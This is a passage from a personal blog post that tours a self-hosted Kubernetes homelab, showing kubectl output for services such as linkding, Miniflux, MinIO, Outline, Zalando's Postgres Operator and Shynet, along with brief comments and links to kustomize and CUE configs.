&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;$ k kv ga
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;NAME                     READY   STATUS    RESTARTS   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;pod/kv-dcbf57c54-msngk   3/3     Running   0          15h
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;NAME         TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)                  AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;service/kv   ClusterIP   10.90.216.102   &amp;lt;none&amp;gt;        80/TCP,81/TCP,9090/TCP   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;NAME                 READY   UP-TO-DATE   AVAILABLE   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;deployment.apps/kv   1/1     1            1           105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;NAME                            DESIRED   CURRENT   READY   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;replicaset.apps/kv-6f5c6d7fc6   0         0         0       15h
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;replicaset.apps/kv-bf8bd6978    0         0         0       15h
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;replicaset.apps/kv-dcbf57c54    1         1         1       15h
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://nossa.ee/~talya/kv&quot;&gt;This blog!&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/cassax/kv.yaml?k=8Nl_kyZVBR5e5AKljzcPO9eXO7wFWiVbNuTcFjD20Qs%3D&quot;&gt;Install via kustomize&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/sources/kv/bundle.cue?k=iKSJsAkwUCPH_hc3stgMc8wEUfEWN6SsB4QMvkndQ7U%3D&quot;&gt;CUE-based setup&lt;/a&gt;, build with enbi&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;code&gt;linkding&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;$ k linkding ga
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;NAME                            READY   STATUS    RESTARTS      AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;pod/linkding-6b55479478-4j8bx   1/1     Running   1 (46d ago)   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;NAME               TYPE        CLUSTER-IP    EXTERNAL-IP   PORT(S)    AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;service/linkding   ClusterIP   10.90.133.1   &amp;lt;none&amp;gt;        9090/TCP   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;NAME                       READY   UP-TO-DATE   AVAILABLE   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;deployment.apps/linkding   1/1     1            1           105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;NAME                                  DESIRED   CURRENT   READY   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;replicaset.apps/linkding-5666f9b576   0         0         0       105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;replicaset.apps/linkding-6b55479478   1         1         1       105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;replicaset.apps/linkding-7954846cb4   0         0         0       105d
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://linkding.link/&quot;&gt;linkding&lt;/a&gt; is a nice little self-hosted bookmark manager. I wrote some CUE to configure it in k8s more nicely.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/cassax/linkding.yaml?k=JyCp3IxgeRJQT0uDdkfldDSdHjiHXoy7OdsialMQVrg%3D&quot;&gt;Install via kustomize&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/sources/linkding/bundle.cue?k=hBcYl0xygi34rGGm-jGSb9SdrJv9qY8Hh1EL2VP-nuA%3D&quot;&gt;CUE-based setup&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;code&gt;miniflux&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;$ k miniflux ga
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;NAME                         READY   STATUS    RESTARTS   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;pod/miniflux-b76bbb9-2hw8v   1/1     Running   0          46d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;NAME               TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)    AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;service/miniflux   ClusterIP   10.90.105.109   &amp;lt;none&amp;gt;        8080/TCP   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;NAME                       READY   UP-TO-DATE   AVAILABLE   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;deployment.apps/miniflux   1/1     1            1           105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;NAME                               DESIRED   CURRENT   READY   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;replicaset.apps/miniflux-b76bbb9   1         1         1       105d
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://miniflux.app/&quot;&gt;Miniflux&lt;/a&gt; is a self-hosted RSS reader. As above.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/cassax/miniflux.yaml?k=LbDdQqD9J6vnJYLoDoCmC4zDh71L_ETAvVQzeToiWOQ%3D&quot;&gt;Install via kustomize&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/sources/miniflux/bundle.cue?k=tIv1lqSIvY7eaK5r4hvJTeD4AKExH915qhRzBhmRPWo%3D&quot;&gt;CUE-based setup&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;a name=&quot;minio&quot;&gt;&lt;/a&gt;&lt;code&gt;minio-kala&lt;/code&gt; and &lt;code&gt;minio-operator&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;$ k minio-kala ga
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;NAME                      READY   STATUS    RESTARTS      AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;pod/myminio-pool-kala-0   2/2     Running   2 (46d ago)   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;NAME                      TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)    AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;service/minio             ClusterIP   10.90.127.99    &amp;lt;none&amp;gt;        443/TCP    105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;service/myminio-console   ClusterIP   10.90.149.242   &amp;lt;none&amp;gt;        9443/TCP   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;service/myminio-hl        ClusterIP   None            &amp;lt;none&amp;gt;        9000/TCP   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;NAME                                 READY   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;statefulset.apps/myminio-pool-kala   1/1     105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;$ k minio-operator ga
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;NAME                                 READY   STATUS    RESTARTS      AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;pod/minio-operator-58fb9bb48-k6ddz   1/1     Running   1 (46d ago)   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;pod/minio-operator-58fb9bb48-qjwns   0/1     Pending   0             105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;NAME               TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)    AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;service/operator   ClusterIP   10.90.85.65    &amp;lt;none&amp;gt;        4221/TCP   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;service/sts        ClusterIP   10.90.196.22   &amp;lt;none&amp;gt;        4223/TCP   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;NAME                             READY   UP-TO-DATE   AVAILABLE   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;deployment.apps/minio-operator   1/2     2            1           105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;NAME                                       DESIRED   CURRENT   READY   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;replicaset.apps/minio-operator-58fb9bb48   2         2         1       105d
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/minio/minio&quot;&gt;MinIO&lt;/a&gt; is — &lt;a href=&quot;https://github.com/minio/minio/blob/be7800c8136eadff2ba012412dd6c2e5fdcb548a/README.md#maintenance-mode&quot;&gt;was?&lt;/a&gt; — an S3-compatible object store. &lt;a href=&quot;https://github.com/minio/operator&quot;&gt;MinIO Operator&lt;/a&gt; deploys that into Kubernetes automatically, setting up clustering etc.&lt;/p&gt;
&lt;p&gt;I’m probably going to try replacing it with &lt;a href=&quot;https://garagehq.deuxfleurs.fr/&quot;&gt;Garage&lt;/a&gt; soon.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/cassax/minio.yaml?k=DuicP2hmU9zELE8cjGZQsgY13INFkUqQjkC-KmX-4Eg%3D&quot;&gt;Install via kustomize&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/sources/minio/kala.yaml?k=X794ASCusaQYHBJCaGe1hp2aZ_xcLuwOngk804zOJcI%3D&quot;&gt;Configure with CRD&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;code&gt;nossa&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;$ k nossa ga
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;NAME                         READY   STATUS    RESTARTS   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;pod/nossa-67dc84b64d-wrnpj   3/3     Running   0          12d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;service/nossa   ClusterIP   10.90.193.94   &amp;lt;none&amp;gt;        80/TCP,81/TCP,9090/TCP   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;NAME                    READY   UP-TO-DATE   AVAILABLE   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;deployment.apps/nossa   1/1     1            1           105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;NAME                               DESIRED   CURRENT   READY   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;replicaset.apps/nossa-67dc84b64d   1         1         1       12d
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://nossa.ee/~talya/nossa&quot;&gt;nóssa&lt;/a&gt; is my code store! Now more than ever, we must not rely on corporations to host our source.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/cassax/nossa.yaml?k=iA2Ss2-0D6bls_rH2yA_ms7XqFsafuv-AZeqbiiiiIQ%3D&quot;&gt;Install via kustomize&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/sources/nossa/bundle.cue?k=sp4_Zo4MKQB6zsoqaIv7n8HkN8MlIJZINX108mjOiHk%3D&quot;&gt;CUE-based setup&lt;/a&gt;, build with enbi&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;code&gt;outline&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;$ k outline ga
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;NAME                           READY   STATUS    RESTARTS      AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;pod/outline-864ffd9f49-frb8j   1/1     Running   1 (46d ago)   49d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;pod/outline-redis-0            1/1     Running   1 (46d ago)   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;NAME                    TYPE        CLUSTER-IP    EXTERNAL-IP   PORT(S)    AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;service/outline         ClusterIP   10.90.11.37   &amp;lt;none&amp;gt;        3000/TCP   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;service/outline-redis   ClusterIP   None          &amp;lt;none&amp;gt;        6379/TCP   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;NAME                      READY   UP-TO-DATE   AVAILABLE   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;deployment.apps/outline   1/1     1            1           105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;NAME                                 DESIRED   CURRENT   READY   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;replicaset.apps/outline-668fb7849d   0         0         0       105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;replicaset.apps/outline-864ffd9f49   1         1         1       49d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;NAME                             READY   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;statefulset.apps/outline-redis   1/1     105d
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://www.getoutline.com/&quot;&gt;Outline&lt;/a&gt; is a self-hostable knowledge base/wiki. I don’t like it very much, but the solution you have is better than the one you don’t.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/cassax/outline.yaml?k=VI4YOv0JEX-ibfonbTP7GTj_X9FvrJhA21dVVWg4itE%3D&quot;&gt;Install via kustomize&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/sources/outline/bundle.cue?k=GCvXloJjK5u8Zb9ULFCAVOs2ZmwZcsz5Db1XnvdRGQs%3D&quot;&gt;CUE-based setup&lt;/a&gt;, uses a &lt;a href=&quot;https://nossa.ee/~talya/outline&quot;&gt;fork&lt;/a&gt; I build manually&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;code&gt;postgres-cassax&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;$ k postgres-cassax ga
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;NAME                                     READY   STATUS    RESTARTS      AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;pod/postgres-0                           1/1     Running   1 (46d ago)   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;pod/postgres-operator-75d58485b9-p6nxk   1/1     Running   1 (46d ago)   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;NAME                        TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)    AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;service/postgres            ClusterIP   10.90.104.198   &amp;lt;none&amp;gt;        5432/TCP   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;service/postgres-config     ClusterIP   None            &amp;lt;none&amp;gt;        &amp;lt;none&amp;gt;     105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;service/postgres-operator   ClusterIP   10.90.130.173   &amp;lt;none&amp;gt;        8080/TCP   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;service/postgres-repl       ClusterIP   10.90.47.202    &amp;lt;none&amp;gt;        5432/TCP   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;NAME                                READY   UP-TO-DATE   AVAILABLE   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;deployment.apps/postgres-operator   1/1     1            1           105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;NAME                                           DESIRED   CURRENT   READY   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;replicaset.apps/postgres-operator-75d58485b9   1         1         1       105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;replicaset.apps/postgres-operator-85d7544db4   0         0         0       105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;NAME                        READY   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;statefulset.apps/postgres   1/1     105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;NAME                                                                  IMAGE                             CLUSTER-LABEL   SERVICE-ACCOUNT   MIN-INSTANCES   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;operatorconfiguration.acid.zalan.do/postgres-operator-configuration   ghcr.io/zalando/spilo-17:4.0-p2   cassax          postgres-pod      -1              105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;NAME                                TEAM     VERSION   PODS   VOLUME   CPU-REQUEST   MEMORY-REQUEST   AGE    STATUS
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;postgresql.acid.zalan.do/postgres   cassax   17        1      10Gi     100m          100Mi            105d   Running
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Zalando’s &lt;a href=&quot;https://github.com/zalando/postgres-operator&quot;&gt;Postgres Operator&lt;/a&gt; just work™s? I’m surprised but so far I’ve had no issues, even when using replication. (I particularly like that you can have it drop &lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/sources/postgres/operatorconfiguration.yaml?k=RxAnr-9xPgVMWbyxwEz3Ujs4UBlm_oJcS7iYEcEG2ZI%3D#L60&quot;&gt;generated secrets into target namespaces&lt;/a&gt;.)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/cassax/postgres.yaml?k=XqORtIlS-GBQr1pwCndzPKgAIQIiL8Jshp-NT4lAraY%3D&quot;&gt;Install via kustomize&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/sources/postgres/postgresql.yaml?k=rGI25pzR37ImgkPvzPbR2luUtIoTFKoZmpBX3rxDsoQ%3D&quot;&gt;Configure via CRDs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;code&gt;shynet&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;$ k shynet ga
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;NAME                                       READY   STATUS    RESTARTS      AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;pod/shynet-celeryworker-7c85c7c7b7-4k95g   1/1     Running   1 (46d ago)   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;pod/shynet-redis-0                         1/1     Running   1 (46d ago)   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;pod/shynet-webserver-6897985f7f-6zdv5      1/1     Running   2 (46d ago)   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;NAME                               TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)    AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;service/shynet-redis               ClusterIP   None            &amp;lt;none&amp;gt;        6379/TCP   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;service/shynet-webserver-service   ClusterIP   10.90.167.165   &amp;lt;none&amp;gt;        8080/TCP   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;NAME                                  READY   UP-TO-DATE   AVAILABLE   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;deployment.apps/shynet-celeryworker   1/1     1            1           105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;deployment.apps/shynet-webserver      1/1     1            1           105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;NAME                                             DESIRED   CURRENT   READY   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;replicaset.apps/shynet-celeryworker-7c85c7c7b7   1         1         1       105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;replicaset.apps/shynet-celeryworker-cc8bdf8d5    0         0         0       105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;replicaset.apps/shynet-webserver-6897985f7f      1         1         1       105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;replicaset.apps/shynet-webserver-7bf96ff48c      0         0         0       105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;NAME                            READY   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;statefulset.apps/shynet-redis   1/1     105d
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/milesmcc/shynet&quot;&gt;Shynet&lt;/a&gt; is a “privacy-friendly” self-hosted web analytics service. It gives me a very basic idea of how much traffic my sites get.&lt;/p&gt;
&lt;p&gt;I’d de-duplicate the Redises between Outline and Shynet one day, or, I’ll just not ¯\_(ツ)_/¯&lt;/p&gt;
&lt;ul&gt;
